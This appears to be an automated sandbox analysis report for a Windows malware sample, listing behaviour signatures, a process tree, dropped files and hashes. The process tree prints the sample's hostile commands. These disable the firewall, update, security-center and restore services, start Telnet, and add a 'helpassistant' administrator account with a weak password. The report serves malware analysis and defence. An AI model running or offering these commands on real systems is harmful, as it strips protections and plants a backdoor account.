Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 16:51

General

  • Target
    2026-07-23_853b09dab3c264536ec0e55933b9e9eb_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
  • Size 10.0MB
  • Sample260723-vc3d3ashqb
  • SHA256 b16adb4b91f7d6de7ecb8b58bed87720600f8b8f65f2233198057d919c6f4d00
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Drops file in Drivers directory 1 IoCs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-23_853b09dab3c264536ec0e55933b9e9eb_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-23_853b09dab3c264536ec0e55933b9e9eb_cobalt-strike_elex_hijackloader_icedid_njrat_vidar.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1552
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      PID:964
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2312
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:1808
    • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
      "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\system32\drivers\2026-07-23_853b09dab3c264536ec0e55933b9e9eb_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc" /o ""
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:6092
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3932
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:6012
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:820
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1364
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3264
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4072
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5520
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3844
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5852
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4712
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4528
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3336
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1444
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3176
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:892
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:6064
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3864
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1564
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1052
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3452
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3260
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5656
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3104
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3204

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        7z.exe

        • Path C:\Program Files\7-Zip\7z.exe
        • Size 10.5MB
        • SHA256 cae0bb1ed3a5e4ec0a77cd784911f024a32a59642c71e56fecda84de33c4960d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zFM.exe

        • Path C:\Program Files\7-Zip\7zFM.exe
        • Size 10.9MB
        • SHA256 1fad811191ec3046f2700d6b1e3e4685cf3f9cc985b73b282bd6d6d1a07f58d9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        7zG.exe

        • Path C:\Program Files\7-Zip\7zG.exe
        • Size 10.7MB
        • SHA256 2536281eb63ebd2cf89b7b137e45d1b06b2940e8f7b0cd4a037ea4a09a91e06b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Uninstall.exe

        • Path C:\Program Files\7-Zip\Uninstall.exe
        • Size 10.0MB
        • SHA256 ab544322dad3ec1f4b54d6f1dd8fa15ad2f3c2ec5340057e5b46841dfc93109f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrmstp.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\Installer\chrmstp.exe
        • Size 16.1MB
        • SHA256 c7022c855426939df6973bde8316897f6d55341f2fe6bf078da0833da39a517e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_pwa_launcher.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\chrome_pwa_launcher.exe
        • Size 11.7MB
        • SHA256 f80c256270875ddbde80557f7d3599f6fdc3205f8fddd7e33934432df5ca5a93
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevated_tracing_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevated_tracing_service.exe
        • Size 13.5MB
        • SHA256 15e0a1fa122bc48886813440b8d72fa9536438d9a85ad5033709d85312f5f3f5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        elevation_service.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        • Size 12.3MB
        • SHA256 c22c30ac83294dcc4e9553636552bf6a47c0997f342a637f24dcfd1b920a3556
        • MD5 SHA1 SHA512 SSDEEP TLSH

        notification_helper.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\notification_helper.exe
        • Size 11.6MB
        • SHA256 cf4fa9a40583e4deefcfe4189d55d560a171e4c5d185064adf2dd23e3c5eb682
        • MD5 SHA1 SHA512 SSDEEP TLSH

        os_update_handler.exe

        • Path C:\Program Files\Google\Chrome\Application\140.0.7339.81\os_update_handler.exe
        • Size 11.9MB
        • SHA256 cb0cac13e744250b41c8acb6b018a4c325426e5bca984bcd0907b194f53b9ef0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome.exe
        • Size 13.1MB
        • SHA256 66b66cf505facfd792a4ceaab82a49bd1dd07b56b2c833634ec40e2bb2ef4df7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        chrome_proxy.exe

        • Path C:\Program Files\Google\Chrome\Application\chrome_proxy.exe
        • Size 11.4MB
        • SHA256 2cbef931354f65e5e5e8c2d85b3baa920ad7449bea506575edd136e77f503fde
        • MD5 SHA1 SHA512 SSDEEP TLSH

        appletviewer.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\appletviewer.exe
        • Size 10.0MB
        • SHA256 e9713eeda8566e2442287e28f2b4271aa59b35e17d9af5ba905bcaa16ba82d79
        • MD5 SHA1 SHA512 SSDEEP TLSH

        idlj.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\idlj.exe
        • Size 10.0MB
        • SHA256 197007cb38613215aaf236b9c7ba616c4e4b869abf87d5456f0caa998b434a85
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jabswitch.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jabswitch.exe
        • Size 10.0MB
        • SHA256 a3e66557994046468de26d1f9097b5036c181fe1585b430c8289b674ab46425e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jar.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jar.exe
        • Size 10.0MB
        • SHA256 70a1bb3800939a0cb79ffad1d783bd6b0ec4f8a221371e260c1d4916eaf38324
        • MD5 SHA1 SHA512 SSDEEP TLSH

        jarsigner.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\jarsigner.exe
        • Size 10.0MB
        • SHA256 850dfff2df46557fb10cae930aeb0fff3d8956d27eac5953da0b7762ac979847
        • MD5 SHA1 SHA512 SSDEEP TLSH

        java-rmi.exe

        • Path C:\Program Files\Java\jdk-1.8\bin\java-rmi.exe
        • Size 10.0MB
        • SHA256 2ba1198655ea395245b183de3486782a8d6912d21caf6fd4935e4dad147d285c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dotnet.exe

        • Path C:\Program Files\dotnet\dotnet.exe
        • Size 10.1MB
        • SHA256 407390252af83cede4cd57e004fde3376f670e30fdd5eb81f311e3859b101e93
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.27\createdump.exe
        • Size 10.1MB
        • SHA256 40d0cc0ad95da24a97dc8b818d012ab84961150e027fafa77bde9463a8de0ac7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\7.0.16\createdump.exe
        • Size 10.1MB
        • SHA256 a474da795b5761e50f444cd14adefe14fe9ff95a1edd5dcd32fc0f0e7814be44
        • MD5 SHA1 SHA512 SSDEEP TLSH

        createdump.exe

        • Path C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.15\createdump.exe
        • Size 10.1MB
        • SHA256 07347b35cd9e5e7531b765e2acb40bbb79ee3641582e0608d1c3d096a58c2931
        • MD5 SHA1 SHA512 SSDEEP TLSH

        gb.xsl

        • Path C:\Users\Admin\AppData\Local\Temp\TCD30B.tmp\gb.xsl
        • Size 262KB
        • SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2026-07-23_853b09dab3c264536ec0e55933b9e9eb_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc

        • Path C:\Windows\SysWOW64\Drivers\2026-07-23_853b09dab3c264536ec0e55933b9e9eb_cobalt-strike_elex_hijackloader_icedid_njrat_vidar~1.Doc
        • Size 3KB
        • SHA256 749b6ea1a9c5fcfd00354e886d27a3ea3f11c1e859c12b0774c27bb6f71f8f67
        • MD5 SHA1 SHA512 TLSH

        Option.bat

        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH

        UpdatAuto.exe

        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 10.0MB
        • SHA256 6af0f04aeb89e9cd195836f58675ea71da1299074d68c93986fc649783a1308a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 10.0MB
        • SHA256 3598cac97f34aa73a2cd2499b6c627c68f2eb615a38af8c018a24a24b3695947
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 10.0MB
        • SHA256 42b3ccc1a0f282b3dbeb16bc2c9955fabb063166168b1eb15d39aa7637c47809
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 10.0MB
        • SHA256 8cdfc03196365de426269227bd9e9c8a9e263afe33eb5f99479fcc75ce5568ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 10.0MB
        • SHA256 32e7d82e8a76840b921360fe1915ee7113c22b6bd2b06429d09a1e199ac1c5f8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 10.0MB
        • SHA256 bc2d423b01a70484f3734daec59c3a946d8e84d428ac1241225df6ef7e218583
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 10.0MB
        • SHA256 851e156add69ce0c41de67e799ef15350f4fb43e44574283cab7035ee8adf8fa
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 10.0MB
        • SHA256 4168176ada50c151b71074d5b84bb0eef6f923ce1a4b37ac23d73f2653c8e665
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 10.0MB
        • SHA256 06192b77907fb0d360679294032197847bcb06da214f1c1147cfd6c13ba75b2e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ntldr~6

        • Path \??\c:\ntldr~6
        • Size 10.0MB
        • SHA256 7d59e34d58452c535ec0dd7c8c81e25b800df30cc73c0b4a2fa4b230aead966b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/6092-37-0x00007FFECFCC0000-0x00007FFECFCD0000-memory.dmp

        memory/6092-35-0x00007FFECFCC0000-0x00007FFECFCD0000-memory.dmp

        memory/6092-38-0x00007FFECFCC0000-0x00007FFECFCD0000-memory.dmp

        memory/6092-36-0x00007FFECFCC0000-0x00007FFECFCD0000-memory.dmp

        memory/6092-40-0x00007FFECD870000-0x00007FFECD880000-memory.dmp

        memory/6092-39-0x00007FFECFCC0000-0x00007FFECFCD0000-memory.dmp

        memory/6092-41-0x00007FFECD870000-0x00007FFECD880000-memory.dmp